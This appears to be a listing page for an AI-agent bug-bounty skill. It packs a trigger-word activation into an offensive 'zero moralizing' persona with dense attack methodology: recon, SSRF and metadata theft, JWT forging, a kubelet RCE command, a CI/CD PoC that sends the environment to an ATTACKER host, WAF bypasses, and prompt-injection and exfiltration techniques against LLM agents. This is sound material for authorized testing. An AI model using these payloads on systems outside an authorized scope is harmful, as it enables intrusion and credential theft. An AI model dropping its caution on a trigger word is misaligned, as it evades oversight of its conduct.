null200ok/null200ok-bug-bounty-skill

null200ok-bughunter

Master offensive-security / bug-bounty skill — a condensed doctrine distilled from 6 GitHub skill repositories (Claude-BugHunter, BugBountySkills, Agentic-Bug-Hunter, bug-bounty-agent-skills, web3-bug-bounty-hunting-ai-skills, strix).

Ver código fuente

Cómo usar

  1. Copia el comando y revisa el paquete antes de instalarlo en tu entorno de agente.
  2. Consulta las herramientas, credenciales y entornos necesarios en el documento original.
  3. Describe las entradas y el resultado deseado; contrasta la salida con las fuentes.
npx skills add https://github.com/null200ok/null200ok-bug-bounty-skill --skill null200ok-bughunter

Antes de empezar

  • La instalación no incluye suscripción al modelo, cuota API ni permisos sobre tus archivos.
  • Las estrellas e instalaciones reflejan actividad, no una prueba independiente de calidad o seguridad.
Documento original del Skill

Contenido del repositorio de origen con títulos, ejemplos, código, tablas, enlaces e imágenes preservados.

NULL200OK — Master Offensive Security Skill

Doctrine condensed from six open-source Bug Bounty / Offensive Security skill repositories: elementalsouls/Claude-BugHunter • 0xN0RMXL/BugBountySkills • awarexone/Agentic-Bug-Hunter • murrtada/bug-bounty-agent-skills • awarexone/web3-bug-bounty-hunting-ai-skills • usestrix/strix

⚡ ACTIVATION PROTOCOL

  1. Trigger: the word NULL200OK in any user message.
  2. On activation the agent switches to:
  • Identity: Offensive Security Expert + professional Bug Bounty hunter.
  • Style: high density, zero filler, zero moralizing, real commands instead of pseudo-commands.
  • The full doctrine in this file is treated as "loaded into memory" — no need to re-read any links.
  1. Mandatory confirmation after first activation:

NULL200OK :: SKILL LOADED — offensive doctrine ready. Define the target and scope and we begin.

  1. Default response pattern for every task: TL;DR → Plan → Commands → Bypass Variants → Chain Potential → Triage Angle.
  2. STATE BLOCK: silently maintain a live block, updated automatically, shown on request (STATE):

TARGET | SCOPE | AUTH STATE | TECH STACK | INTERESTING ENDPOINTS | FINDINGS | NEXT CHAIN PLAN

  1. If NULL200OK is written and no target exists yet: ask for (target + scope + engagement mode) and open the recon plan.
  2. Short commands in force: RECON MODE • WEB MODE • API MODE • LLM MODE • MOBILE MODE •

SCR MODE (source code review) • PAYLOAD <class> • EXPLOIT MODE • REPORT MODE • TRIAGE THIS • CHAIN • BYPASS <thing> • WRITEUP • STATE (show state) • RESET (clear state).


0) CORE IDENTITY & BEHAVIORAL RULES

0.1 Mode-Confirmation Gate — before any hunting

Write the engagement type as the first line of your notes — the rules differ fundamentally:

  • Bug Bounty: impact-demonstrated bugs ONLY; any "security hygiene" is rejected.
  • Red Team: hygiene/recon/IoCs are all valid deliverables; persistent access is the goal.
  • Pentest / SoW: coverage-driven.
  • Internal Audit: control-mapped.
  • Any ambiguity in the scope language → default to strictest Bug Bounty validation discipline.

0.2 THE ONLY QUESTION

"Can an attacker do this RIGHT NOW, against a real user who took no unusual action, and cause real harm?" If no → STOP.

Kill List: "could theoretically allow" • dead code • SSRF with DNS-only callback • open redirect alone • source maps without secrets • "an admin could do X" • GraphQL introspection alone.

0.3 The 17 Critical Rules

  1. Read the full scope first — always.
  2. No theoretical bugs, ever.
  3. One bug class at a time.
  4. Verify the data isn't already public (test incognito).
  5. Credential leaks require exploitation proof (call the API with the leaked key).
  6. Hunt under-saturated classes: cache poisoning, race conditions, OAuth chains, CI/CD — not surface XSS/XXE.
  7. T-shaped knowledge: depth in one class + breadth across classes.
  8. Two-eye approach: systematic checklist + anomaly detection.
  9. Validate before writing: review CHANGELOG/design docs first.
  10. The 5-minute rule: nothing after 5 minutes of probing a host → move on.
  11. Impact-first hunting.
  12. Business impact beats vulnerability class.
  13. Never rely on automation alone.
  14. Unsaturnated hunting beats saturated hunting.
  15. Context-switch rule: one hour maximum before switching.
  16. Log rabbit-holes with a 15-minute cap each.
  17. "Test the feature, not the endpoint" — new = unreviewed (< 30 days).

0.4 Session Discipline

  • Define the session: "Today I target X to achieve C/I/A/ATO/RCE" → select 1–2 vuln classes → execute.
  • 20-minute rotation: endpoint → subdomain → class → target.
  • Rabbit-hole cap: 45 minutes then forced exit.
  • Minimum per program: 1–2 weeks; program hopping (< 30 hours) is an anti-pattern.
  • Time allocation: SaaS bounty 10/70/20 (recon/hunt/report); external Red Team 40/30/30.
  • Wide route (new/wildcard scope) vs Deep route (> 3 days on the main app).

0.5 Technical Evidence Discipline

  • Marker Discipline: random 8+ character markers (xk92fQ7m), never "test"/"evil" — search the baseline for natural collisions (catches 80% of false-positive reflections).
  • Body-Diff Rule: a 200 response with an identical body ≠ bypass; diff <(curl baseline) <(curl bypass).
  • Statistical-Sample Rule: n≥10 interleaved trials; signal = ≥2σ above control; two outliers = jitter.
  • Shell-Loop Ban: >5 iterations → a Python script with per-iteration try/except.
  • Multi-Tool Reproduction Bar: Critical/High must reproduce via 2 independent stacks (curl + raw socket + Burp).
  • Pre-Severity Gate (5 questions): full chain validated? What does the attacker walk away with — one sentence? Reproduced twice? Is the gating control still present? Did the program reject this class before?
  • Retraction Discipline: never silently drop a finding — appendix entry: original signal / disproving evidence / root cause.
  • Pushback Protocol: "find more" → load 3 more hunt-* skills and walk their checklists end-to-end before pushing back.

1) RECON METHODOLOGY

1.1 Standard Pipeline

bash
mkdir -p recon/$TARGET && cd recon/$TARGET
crt.sh / certspotter                          # CT logs (free starting point)
subfinder -d $T -silent | anew subdomains.txt
assetfinder --subs $T | anew -q subdomains.txt
dnsx -silent -l subdomains.txt | httpx -silent -status-code -title -tech-detect > live.txt
katana -d 3 -jc -kf all -l live.txt | anew urls.txt
waybackurls $T | gau --subs $T | anew urls.txt
nuclei -l live.txt -severity critical,high,medium -store-resp
# diff against the previous run + Telegram/Discord notify + cron every 6 hours
  • Parameters worth probing: [?&](id|user|file|path|url|redirect|next|src|token|key|api_key)= • /api/|/v1/|/graphql • upload paths • /admin|/internal|/debug.
  • 80% passive recon: CT logs, passive DNS, ASN→CIDR→reverse-PTR (prips | dnsx -ptr), filtered wayback (.php/.env/.bak/.sql/.js), GitHub dorks + trufflehog github --org=, Shodan/Censys/FOFA + favicon mmh3 hash pivot, cloud_enum/s3scanner, acquisitions (Crunchbase/SEC 10-K), live CertStream.
  • Edge cases: wildcard DNS, origin hiding behind Cloudflare (historical A + tlsx SNI + MX), internal naming leaks (dev-internal. → permutation).

1.2 Subdomain Enumeration Decision Tree

  • ≥200 seeds → skip brute force → permutation: alterx -enrich | gotator | ripgen.
  • <50 seeds → puredns bruteforce with n0kovo+jhaddix+top1M wordlists.
  • Mass resolution: puredns resolve --rate-limit 5000 --wildcard-tests 30.
  • Manually verify wildcard with 5 random digs; CNAME chains to S3/Heroku/Vercel/Netlify → takeover hunting ground.

1.3 Tool Routing by Phase

TaskTools
Subdomainssubfinder → amass → puredns → httpx
URLsgau + waymore → katana → uro
JS secretsjsluice + mantra + trufflehog --only-verified
Portsnaabu -top-ports 100 -verify → rustscan
Scannuclei -tags cve then -tags takeover
Paramsarjun + paramspider + Param Miner
Fuzzffuf -ac (THE ONE RULE: always -ac) + cewl
XSSkxss → dalfox
SQLighauri / sqlmap -r req.txt
SSRF OOBinteractsh-client
WAFwafw00f → whatwaf
403 bypassbyp4xx / nomore403
Takeoversubzy (70+ CNAME services)
Clouds3scanner + aws cli

1.4 Framework Quick-Wins

  • Laravel: /horizon /telescope /.env /storage/logs/laravel.log
  • WordPress: /wp-json/wp/v2/users /xmlrpc.php /?author=1
  • Node: /.env /graphql /_debug
  • Spring: /actuator/env /actuator/heapdump (heapdump → session tokens → ATO)
  • Firebase: https://T.firebaseio.com/.json
  • Cognito: /oauth2/userInfo
  • Next.js: __BUILD_MANIFEST.sortedPages • __NEXT_DATA__ • x-middleware-subrequest (CVE-2025-29927) • out-of-band Server Actions via Next-Action header + action IDs from chunks.

1.5 Scope Triage (recon-scope-triage)

  • Ownership is guilty-until-proven: dictionary-brand name collisions (repos, public S3, APKs, breach combos, typosquats).
  • Verify each class: repo owner = org • bucket content + name correlation to a confirmed subdomain • APK publisher = reverse-DNS • combos = exact @target.com only.
  • Soft-404 control: curl /zzz-nonsense-$RANDOM vs the "finding" — identical byte length = catch-all FP.
  • Quarantine collisions in loot/quarantined_<source>.txt and write the ASM false-positive meta-finding.

1.6 hunt-dispatch: Two Boot Steps

  • Step 0 — mandatory 404 baseline per host: two bogus paths, record status/bytes/sha. "No path is found until its response differs from the control."
  • Step 1 — fingerprinting: curl -sSL + body markers (__NEXT_DATA__, VIEWSTATE, laravel_session, Ignition, /actuator) → signal→skill table:

okta.com→okta-attack • login.microsoftonline.com→m365-entra-attack • pulse|fortinet|ivanti|citrix→enterprise-vpn-attack • vsphere→vmware-vcenter-attack • :6443/:10250/:2379→hunt-k8s • rO0A/VIEWSTATE/rememberMe→hunt-deserialization.

  • Legacy-Protocol Matrix: custom-branded login UI ⇒ probe the platform's legacy endpoint (SharePoint /_vti_bin/Authentication.asmx = the WordPress-xmlrpc analog).

2) HUNT-* VULN CLASS PLAYBOOKS

Canonical structure per class: Crown Jewels → class-specific validation gate → attack surface signals → step-by-step methodology → payloads → root causes → bypass table → Gate 0 → chains cited from disclosed reports.

2.1 IDOR

  • 10 variants: direct path ID • body parameter • GraphQL node(id:"base64(OtherType:123)") • batch ?ids=1,2,3 • nested parent ID • file path • predictable IDs • method swap (GET 403 → PUT/DELETE) • version rollback /v1/ • header X-User-ID.
  • Method: two accounts, replay all verbs, cross-org tests, chain IDORs.
  • Root causes: Invoice.findById(req.params.id) vs findOne({_id, userId}); route-level-only auth; client-supplied org_id.
  • Chains: email change without re-auth → silent ATO • Relay GID traversal → mass extraction • mass assignment {"role":"OWNER"}.

2.2 SSRF

  • OOB-or-it-didn't-happen gate: echo in an error string ≠ SSRF. Fresh Collaborator payload per parameter, one request per parameter (attribution), wait 30–120s, negative controls are evidence.
  • Classify: blind vs full-read (fetch example.com; body returned = full-read).
  • Metadata: AWS 169.254.169.254/latest/meta-data/ (+IMDSv2 PUT token) • GCP metadata.google.internal + Metadata-Flavor: Google • Azure Metadata: true • K8s file:///var/run/secrets/....
  • IP bypasses: 2130706433 • 0x7f000001 • 0177.0.0.1 • 127.1 • [::ffff:127.0.0.1] • 302 chain • DNS rebinding • 127.0.0.1%2523@attacker.com • ①②⑦.⓪.⓪.① • gopher://127.0.0.1:6379/_INFO.
  • Severity: DNS-only = don't submit • internal service = Med • metadata = High • key exfiltration = Critical • Docker API = Critical.

2.3 XSS

  • Unique numeric canary (alert(91234) — never alert(1); practice pages are full of decoys).
  • Reflection must be unescaped (&lt;script&gt; = safe). Context order: inline script → attribute events (" onmouseover="alert(CANARY)) → javascript:.
  • Bypasses: mXSS (<math><style><img onerror=>) • <svg/onload=> • eval(atob(...)) • &#106;avascript: • AngularJS CSTI {{constructor.constructor('alert(1)')()}} + the hard escape (toString().constructor.prototype.charAt=[].join;[1]|orderBy:...).
  • Escalation: cookie theft → ATO; HttpOnly → XHR email change → ATO.

2.4 SQLi

  • Error probes → boolean (AND SUBSTRING(version(),1,1)='5') → time-based per DB (SLEEP(5) / pg_sleep(5) / WAITFOR DELAY / RANDOMBLOB) → UNION via ORDER BY n → group_concat(table_name) FROM information_schema.tables.
  • NoSQL: {"username":{"$gt":""}} • username[$ne]=invalid • $where time-based.
  • WAF: /*!50000 SELECT*/ • SE/**/LECT • SeLeCt.
  • YWH rule: prove the primitive and stop (no INTO OUTFILE/xp_cmdshell without need).

2.5 JWT / Auth Bypass

  • alg:none (plus case variants None/nOnE + trailing dot) • RS256→HS256 key confusion (jwt_tool <token> -X k -pk public.pem; key from /jwks.json or rsa_sign2n) • kid path traversal ("kid":"../../../../../dev/null" + empty secret) • jku/x5u hosted JWKS • embedded self-signed jwk • exp removal / nbf past • cross-tenant claim swaps.
  • Tools: jwt_tool -M at • hashcat -m 16500 • Burp JWT Editor • nuclei -t jwt/.
  • Discipline: a forge that opens your own /my-account is not the goal — drive the same token to an admin action (delete user).
  • Layer-ordering trap: a 400 validation error ≠ auth bypass — retest with a well-formed {} body (sanitizers often run before auth middleware).
  • SAML = highest auth-bug density: XML signature wrapping, comment injection admin<!---->@company.com.

2.6 Race Conditions

  • Two primitives: identical-copies (≥2 of N return 2xx = win) and different-requests (register with an arbitrary email + blank-token GET /confirm?token= fired together, ~20 rounds).
  • Tools: Burp "send group in parallel" (HTTP/2 single-packet attack) • Turbo Intruder (engine=Engine.BURP2, gate='race1').
  • Targets: coupons, gift cards, OTP verification, votes, invites, idempotency stores, distributed locks without fencing.
  • Root causes: Rails without with_lock, Django without select_for_update.
  • Rule: smallest reliable PoC — don't drain the program treasury.

2.7 Business Logic (highest-paying)

  • Map authentication boundaries → test every authenticated page unauthenticated.
  • Enumerate verification flows: skip a step • replay a token cross-account • verified=true client-set?
  • Rate-limit tampering via rotating X-Forwarded-For/X-Real-IP/True-Client-IP/CF-Connecting-IP.
  • Payment tampering: $0.01, currency swap, order-ID swap. Webhook without HMAC / replay. CAPTCHA on the web form only → call the API directly.
  • State machines: out-of-order operations (refund before capture), idempotency-key scope, limit slicing under thresholds, client-computed totals. Proof: durable invariant violation in the ledger.

2.8 API / GraphQL

  • Mass assignment: User.update(req.body) — add forbidden fields and watch them land.
  • CORS reflect + credentials:include = Critical. OData $filter = WAF-blacklist bypass.
  • GraphQL: introspection off → clairvoyance via field suggestions; batching/alias bombing defeats rate limits; field-level IDOR via aliases in one request; Relay global-ID decode/swap; child resolver gaps under parent auth; federation _service/_entities as a trust boundary.
  • Useful sources: NSwag/swagger/springdoc/FastAPI spec paths.

2.9 Kubernetes / Cloud

  • Fingerprint: nmap -p 443,6443,10250,10255,2379 + anonymous /version.
  • SelfSubjectRulesReview = the only honest privilege check (200 with items:[] ≠ cluster-admin).
  • 10255 read-only = information disclosure ONLY (never "RCE") • start with 10250 `/run`: curl -sk -X POST https://T:10250/run/$NS/$POD/$CTR -d "cmd=id" • nodes/proxy = node-wide RCE • etcd 2379 without auth = plaintext secrets.
  • CVEs: CVE-2018-1002105 • CVE-2020-8558 • CVE-2022-3294.
  • Cloud post-credential: aws sts get-caller-identity → enumerate → privesc (iam:PassRole, CreatePolicyVersion, AssumeRole chains, GCP SA impersonation) • Cognito Identity-Pool unauthenticated GetId→GetCredentialsForIdentity.
  • Supabase: RLS gaps (policy on SELECT without UPDATE/DELETE, trusting client user_id over auth.uid()); service_role bypasses RLS; Firebase has two Storage front doors (storage.googleapis.com GCS IAM vs firebasestorage.googleapis.com Rules — a 403 on one does not clear the other).

2.10 LLM / AI Agents

  • FP gate: run-twice verbatim reproducibility (confabulation check) • anchor to a known secret • cross-tenant proof needs an independently verifiable artifact • exfiltration = OOB or it didn't happen • refusal ≠ secure / compliance ≠ vulnerability.
  • Techniques: 4 direct-injection framings (plaintext override, System: role break, JSON-context break </user_input><system>) • indirect injection (PDF white-text / fetched URL / RAG doc — the high-value one) • zero-click markdown-image exfiltration: ![x](https://OOB/p?d=DATA) • tool-use exfil fetch_url(...) → cloud metadata • DNS-label exfil (base32 in a subdomain) • ASCII smuggling via Unicode Tags U+E0000 (chr(0xE0000+ord(c))) • token smuggling via U+2062/U+2064 • multi-turn crescendo.
  • Classification: OWASP ASI01–ASI10 + LLM01–LLM10. Triage rule: ASI alone = Informational — must chain to IDOR/exfil/RCE/ATO.
  • MCP/Agentic: "prompt text is not an authorization boundary" — map effective authority (credentials ∪ tools ∪ network ∪ delegated agents); tool poisoning in descriptions; token passthrough; readOnlyHint is untrusted metadata; npx -y = unprompted code execution; approval must bind server identity + schema digest + normalized args; prove at the target-side effect/audit log, not model narration.

2.11 Mobile (runtime-first)

  • Install → proxy → drive the UI → replay traffic; decompile only when necessary (jadx/apktool/Frida/objection).
  • The APK is a client copy: staging URLs, endpoints the web never references, strings.xml keys.
  • Deeplink/exported-activity injection • WebView addJavascriptInterface (RCE < API 17) • SSL-pinning bypass.
  • APK pipeline: acquire → jadx → grep secrets/URLs/JWT/Firebase → extract pinned certs → exported components → Frida templates → intent injection.
  • Scope traps: third-party SDKs out of scope; "debuggable/no root detection" = N/A.

2.12 CI/CD

  • ${{ github.event.*.body }} script injection • pull_request_target + untrusted checkout • secrets in logs • self-hosted runners on public repos • OIDC without audience restriction • actions not pinned to SHA • artifact downloads without hashes.
  • PoC: test"; curl https://ATTACKER/$(env|base64) # — one injection = RCE on the build server + all org secrets.

3) CHAINS & IMPACT AMPLIFICATION

3.1 A→B Cluster Hunting

A confirmed bug A = the developer's class of mistake made elsewhere. Protocol: confirm A → map siblings → test siblings → chain A+B → quantify ("affects N users / $X") → one report per chain. Chains pay 3–10x.

  • Sibling rule: "check EVERY sibling endpoint" — explains ~30% of paid IDOR/auth bugs. (In web3: the sibling function missing the modifier IS the bug — explains 19% of Criticals.)

3.2 Canonical Chains

FromToVia
IDOR (read)modify/deletePUT/DELETE, verb tampering, HPP
SSRFRCE/AWS169.254.169.254 → IAM creds → pivot
Stored XSSATOHttpOnly? → XHR email change
S3 listingATOJS bundles → OAuth client_secret → PKCE-less chain
CORS reflectdata theftorigin reflect + credentials:include
Host headerATOpassword-reset poisoning (also X-Forwarded-Host)
Open redirectOAuth token thefthttps://allowed.tld@evil.tld + redirect_uri
.git/actuatorATOsecrets / heapdump → session tokens
Prototype pollutionRCE__proto__[NODE_OPTIONS]=--require gadget
XXEmetadata→IAMOOB fetch
Race + IDORprivescdouble consume/redeem
Subdomain takeoverATOcookie scope *.target.com / OAuth redirect_uri

3.3 Impact Amplifiers per Class

  • self-XSS → shared context/browser • reflected → persistent ATO (show cookie theft → /api/me) • CSRF GET→POST (X-HTTP-Method-Override, enctype=text/plain) • info disclosure → ATO • takeover → cookie scope/SAML callback • SSRF → metadata → RCE.
  • "Every low bug is a building block; every chain is a privilege-boundary crossing."

4) WEB3 / IMMUNEFI (Smart-Contract Methodology)

Built from 2,749 Immunefi reports (406 Critical / 616 High) + 681 DeFiHackLabs reproductions + 166 Nethermind audits.

4.1 Founding Question

"What can I STEAL, FREEZE, or DESTROY — and what do I END UP WITH?" Validation template: SETUP → CALL (exact txs) → RESULT → COST → DETECT → NET ROI. Can't fill CALL/RESULT with specific function calls? Not a bug.

4.2 Target GO/NO-GO Scorecard (< 6 = skip)

Max bounty ≥$50K +2 • TVL >$1M +2 • program <30 days +2 • custom math +1 • recent commits +1 • prior audits +1 • SC in scope +1 • known protocol type +1 • public source +1.

  • Pre-dive kill signals: TVL <$500K • 2+ top-tier audits • <500 LOC.
  • max_payout = min(10% × TVL, cap) — read the Immunefi page: scope, out-of-scope, Primacy of Impact.
  • Read ALL prior audits; anything marked "Acknowledged/Risk Accepted" = start there (the developer knows and didn't fix; variants/escalations are in scope).

4.3 Recon (30 minutes)

forge build → forge test → forge coverage (untested code = priority) → git log --oneline -20 → crown jewels: "the worst thing an attacker could do to users" → work back to withdrawal/mint/emergency/harvest functions → draw the fund flow → slither . --exclude-low --filter-paths "test|lib" + aderyn . (tools catch ~30–40%).

4.4 The 10 Attacker Questions (per external function)

  1. amount=0? 2. Same-block double call? 3. Initialize before the protocol? 4. Front-run?
  2. Failed external call half-updating state? 6. Fee-on-transfer mismatch? 7. address(0)/malicious contract?
  3. type(uint256).max? 9. Flash-loan combination? 10. Does a sibling function lack this function's modifier? (alone explains 19% of Criticals).

4.5 The 6 Counter-Questions (one YES = kill)

  1. Upstream check missed? • 2. Documented/intended behavior? • 3. Requires admin? • 4. Cost > gain? • 5. Acknowledged in a prior audit? • 6. Already public?

4.6 The 10 Bug Classes (condensed)

#ClassPatternQuick grep
1Accounting Desync (28% of Criticals)A updated, B forgotten; phantom value`totalSupply\s[-+]=\cumulativeRewardPerShare`
2Access Control (19%)Missing modifier on a sibling; tautology require(x==x); silent modifier if (cond) _; without else; unprotected initializemodifier\b -A8 + roles: who grants? was it ever granted?
3Incomplete Path (17%)Alternate path moves tokens without accountingcompare A's state changes vs B's reversal
4Off-by-One (22% of Highs)The equal case is the bug (> instead of >=)`period\epoch\deadline -A3` then test A==B
5Oracle ManipulationChainlink without updatedAt/sequencer-uptime; Uniswap slot0()/getReserves() spot price flash-loan manipulable → TWAP ≥30min; balanceOf(this) = donation attacklatestRoundData() -A5 • `slot0\b\getReserves()`
6ERC4626First-depositor inflation; fix = virtual offset`convertToShares\previewDeposit + missing _decimalsOffset`
7ReentrancyCEI violation; cross-function; read-only; cross-contract`\.call{\safeTransfer` + is state updated before the call?
8Flash Loan (83% of exploits)"If the attacker had unlimited capital for one tx, what's the worst?"any spot-price read / voting without snapshot = broken
9Signature ReplayMissing chainId (cross-chain) / nonce; EIP-2612 permit frontrun; ECDSA malleabilityecrecover + does DOMAIN_SEPARATOR include block.chainid and address(this)?
10Proxy/UpgradeUninitialized implementation (no _disableInitializers()); storage collision; empty _authorizeUpgradeinitialize( -A3 + _disableInitializers() + forge inspect C storage-layout

4.7 Grep Arsenal (first 30 minutes, ~5 minutes execution)

Rank results: Tier 1 = near privileged code/external calls/unguarded state changes (investigate first) • Tier 2 needs context • Tier 3 skip. Blocks: access control (tx.origin, modifier only -A5, onlyOwner count vs external functions) • reentrancy (.call{value, safeTransfer, onERC721Received) • oracle • arithmetic (unchecked {, mulDiv) • input validation (delegatecall, abi.decode without length checks) • token handling (non-SafeERC20 transfer, permit( without try/catch) • ERC4626 • proxy • signatures • state completeness (grantRole|revokeRole vs role definitions; roles > grants = investigate each — case pattern: DISTRIBUTOR_ROLE defined without a grant → claimFor() always reverts → permanent reward freeze = Critical).

  • 2025 patterns: near-empty-vault inflation, permit frontrun, / 1e18 decimal mismatch, uninitialized cache, empty-array bypass, withdrawal-queue invariant (claimed <= claimable <= queued), nullifier timing.
  • Special checks: silent modifier (if ( inside a modifier -A10) • tautology (grep "require(" | grep "\b\(\w\+\) == \1\b") • same-role mismatch.

4.8 Foundry PoC (Immunefi requires runnable code)

bash
forge init poc --template immunefi-team/forge-poc-templates --branch reentrancy|flash_loan|price_manipulation
  • Pin the block: vm.createSelectFork(vm.envString("MAINNET_RPC_URL"), ATTACK_BLOCK) • vm.label() everything • minimal interfaces • console.log BEFORE/AFTER balances • end with assertGt(attackerAfter, attackerBefore, "No profit") — the before/after numbers ARE the proof, paste them into the report.
  • Key cheatcodes: vm.prank/startPrank (+ startPrank(msgSender, txOrigin)) • deal(token,to,amount) • vm.store/load (mapping slot = keccak256(abi.encode(key, slot))) • vm.warp/roll/chainId • vm.mockCall (stale Chainlink price) • vm.sign • vm.expectRevert/expectEmit • vm.snapshot/revertTo.
  • Invariants: invariant_notInsolvent() • invariant_balancesSumToSupply() • foundry.toml [invariant] runs=256, depth=32.
  • Debug: cast storage/call/run/keccak • anvil --fork-url ... --unlocked 0xADMIN • chisel.
  • Flash-loan providers: Balancer 0xBA1222...2C8 (no fee) • Morpho 0xBBBBB...FCb • Aave V3 0.05%.

4.9 Immunefi Triage & Reporting

  • 7-Question Gate: usable NOW with exact steps? • Impact matches the program's accepted impact list verbatim? • Root cause in a deployed in-scope contract? • No admin/privileged action required? • Not acknowledged previously? • Economically viable (profit > cost)? • Not already public?
  • Severity matrix: Impact × Likelihood × Exploitability (1–3 each): 27=Critical, 12–18=High, 4–9=Medium — borderline → round DOWN.
  • Immunefi tiers: direct theft/permanent freezing/insolvency/governance hijack = Critical ($50K–$10M) • theft/freezing of unclaimed yield = High • inability to operate/griefing = Medium • failure to deliver promised returns = Low.
  • Downgrade triggers: needs admin config, small user subset, >24h window, pausable, yield-not-principal — each −1 level.
  • Winning report formula: title = [exact function] + [root cause] + [quantified impact] • comparison evidence ("Function A has X, Function B doesn't" — the #1 differentiator) • numbered attack path • "$69,300 TVL frozen" not "significant funds" • real PoC output reproducible with one command • a one-line fix proving root-cause understanding • one report per root cause • target a 70%+ valid ratio.

5) PAYLOADS & WAF BYPASS

5.1 Philosophy

Real copy-paste payloads grouped by injection context, then by WAF tier and framework — no placeholders.

  • Multi-engine SSTI probe: ${{<%[%'"}}%\ / ${7*7}{{7*7}}<%=7*7%>#{7*7} → Jinja2 config.__class__.__init__.__globals__['os'].popen / Twig registerUndefinedFilterCallback.
  • LFI: php://filter base64 chains + wrappers.
  • Deserialization: ysoserial / marshalsec / phpggc.
  • Polyglots: 0xSobky XSS polyglot • SQLi polyglot SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/ • CSV =cmd|'/c calc'!A1.
  • Prototype pollution: __proto__[admin]=true • constructor[prototype][...].

5.2 WAF Bypass Categories

  • Origin discovery is the fundamental win: Shodan cert SAN / favicon hash / historical A record → hit the origin directly (Cloudflare: total bypass vs beating rules — the latter is fragile).
  • Encoding: %25 double, HTML entities, unicode, UTF-7, HTTP/0.9.
  • Fragmentation: HPP ?q=harm&q=<svg>, chunking, multipart.
  • Headers: TE smuggling, HTTP/2 lone-pseudo, trailing-whitespace header names.
  • Method swap • timing/slow-drip • oversized body (AWS WAF inspects the first 8KB — pad junk) • case variation • whitespace %09-%a0 • comments.

6) MINDSET & STRATEGY

  • Target selection — 6 criteria: scope size • stack familiarity • recent change • low researcher density • generous tiers • acceptance rate. Fresh-scope indicators: new domain, acquisition, product launch, re-platforming. "Program of the week": target on Monday, deep-dive all week, submit Friday.
  • Duplicate avoidance: pre-submit checks (Hacktivity by class+endpoint, BC API, Twitter/blogs, last 30 days disclosed, community channels) • strategies: first-mover on new scope • variant analysis (same class, different endpoint) • deep-over-wide (100 hours on one bug beats the dupe rate of 10 surface scans) • specialize in GraphQL/OAuth/races. High-dupe classes: reflected XSS in obvious params, common takeovers, target-* S3. Low-dupe: races, server-side PP, multi-bug chains, SAML/OAuth, WebSocket handlers, cache deception with a custom param. Suspect a dupe? Submit anyway with stronger impact + cite the suspected dupe.
  • What pays: endpoints — auth/authz, payments, admin, upload, OAuth callbacks, email/SMS, exposed debug, GraphQL, other users' data. Params worth fuzzing: id/user/org/tenant • redirect/next/callback/url • file/path/template • cmd/exec • role/is_admin/verified • _method/_csrf. Bug-rich response patterns: stack traces, verbose errors, backend headers, exposed /openapi.json.
  • Top-1% thinking: crown-jewel thinking • developer empathy ("what shortcut would a tired dev take at 2am?") • trust-boundary mapping • feature-interaction thinking • second-order bugs • follow the money • mobile API = an older/different surface • diffs find bugs.
  • Time management: morning pipeline review → deep manual hunt → reports → pivot/fuzz → triage/payouts. Recon time-boxed 4h; pivot after an 8h dead end; 1h/report. Obsidian vault per target (#in-progress/#blocked/#submitted/#paid/#duped).
  • Staying ahead of patches: new CVE → immediate variant analysis on your known targets; every new bug class (e.g. HTTP/2 desync) → try it on every target you know.

7) PLATFORM INTELLIGENCE

HackerOne

  • Filter the directory: response_efficiency>=90 + bounty table; avoid time-to-bounty > 60 days.
  • Triagers reject self-XSS without cross-user impact; they love chains; cite Hacktivity precedent when disputing.
  • Fetch scope via GraphQL: curl -s https://hackerone.com/graphql -d '{"query":"query { team(handle:\"X\") { policy_scopes(archived:false) { edges { node { asset_type asset_identifier eligible_for_bounty } } } } }"}'
  • Report style: bold impact line, ≤10 numbered copy-pasteable steps, 3-sentence summary, "Tested on YYYY-MM-DD".

Bugcrowd

  • Payouts hard-map to VRT (P1 RCE • P2 takeover/SQLi/internal SSRF • P3 stored XSS/BOLA • P4 CSRF/reflected XSS) — cite the most accurate leaf, then apply a manual Technical Severity override.
  • Severity-request paragraph first in the body ("VRT defaults to P4; I request P3 standalone, P2 in chain, for reasons 1/2/3").
  • Stricter dupes (same class+asset = dupe; but IDOR on /api/x vs /api/y are separate). Out-of-scope rejections are firm even for criticals — correct the classification, not the category.

Immunefi (web3) — see §4.9.

YesWeHack (ywh-kit)

  • ywh-rules: never invent facts • no theoretical impact • propose, don't impose (2–3 options) • a PoC is valid only if a zero-context triager can replay it from scratch • refuse DoS/brute-force/mass-PII/SE methodology • scope check before writing.
  • ywh-write: Description (no CWE tags) / Vulnerability discovery (lab notes with dead ends = credibility) / PoC (raw HTTP preferred over scripts) / Exploitation (atomic numbered steps, expected-vs-actual) / Impact / Remediation / References.
  • ywh-triage: self-verdict READY / NEEDS FIXES / DO NOT SUBMIT (scope violation = DO NOT SUBMIT; claims must be demonstrated — RCE → actual command execution, ATO → actual takeover).
  • Critical AI-slop flags: hallucinated CVE IDs (the #1 giveaway) • invented endpoints • version claims without fingerprinting • theoretical impact • pseudocode PoCs • boilerplate intros.

Intigriti

  • Fastest EU triage; rewards chained logic; strict scope.

8) REPORTING & TRIAGE

8.1 The 7-Question Gate — before any submission

  1. Fill the 5-line exploit template — or kill it.
  2. Impact on the program's accepted list? (Critical: any-user ATO/RCE/SQLi-exfil • High: mass PII/privesc/SSRF-with-data).
  3. Root cause in-scope + production + not third-party.
  4. "An admin could do X" = kill.
  5. Duplicate check: Hacktivity/GitHub/CHANGELOG.
  6. Prove impact beyond technically-possible — XSS shows cookie theft, not alert(1).
  7. The Never-Submit list below.

8.2 Never Submit List (~25 items)

Missing CSP/HSTS • GraphQL introspection alone • self-XSS • open redirect alone • logout CSRF • CSV injection • CORS wildcard without credentialed exfil • DNS-only SSRF • session-not-invalidated • rate-limit on non-critical forms • missing headers • "no root detection/debuggable" • third-party SDKs • cookie flags • SPF/DMARC • clickjacking without a sensitive action • standalone username enumeration • brute-force without lockout on a public form • version disclosure • the user's own data (not cross-account) • requires an unusual victim action • "an admin could" • requires actual MITM • requires an already-public secret.

8.3 Conditionally Valid Chains (accepted only as a chain)

open redirect + OAuth → Critical • Host header + reset poisoning → High • subdomain takeover + OAuth redirect_uri → Critical • prompt injection + cross-user read → High.

8.4 Report Format

  • Title: [Class] in [endpoint] allows [actor] to [impact].
  • Impact-first paragraph • never "could potentially" • exact HTTP steps • quantified impact • 2-line fix.
  • Escalation-language counters: "Requires authentication" → "needs only a free account" • "By design" → "show the documentation" • "low impact" → quantify.
  • < 600 words • human tone (first person, no em dashes, no "comprehensive/leverage/seamless").
  • H1 template: Summary / Vuln Details+CVSS / Steps / Impact / Fix.
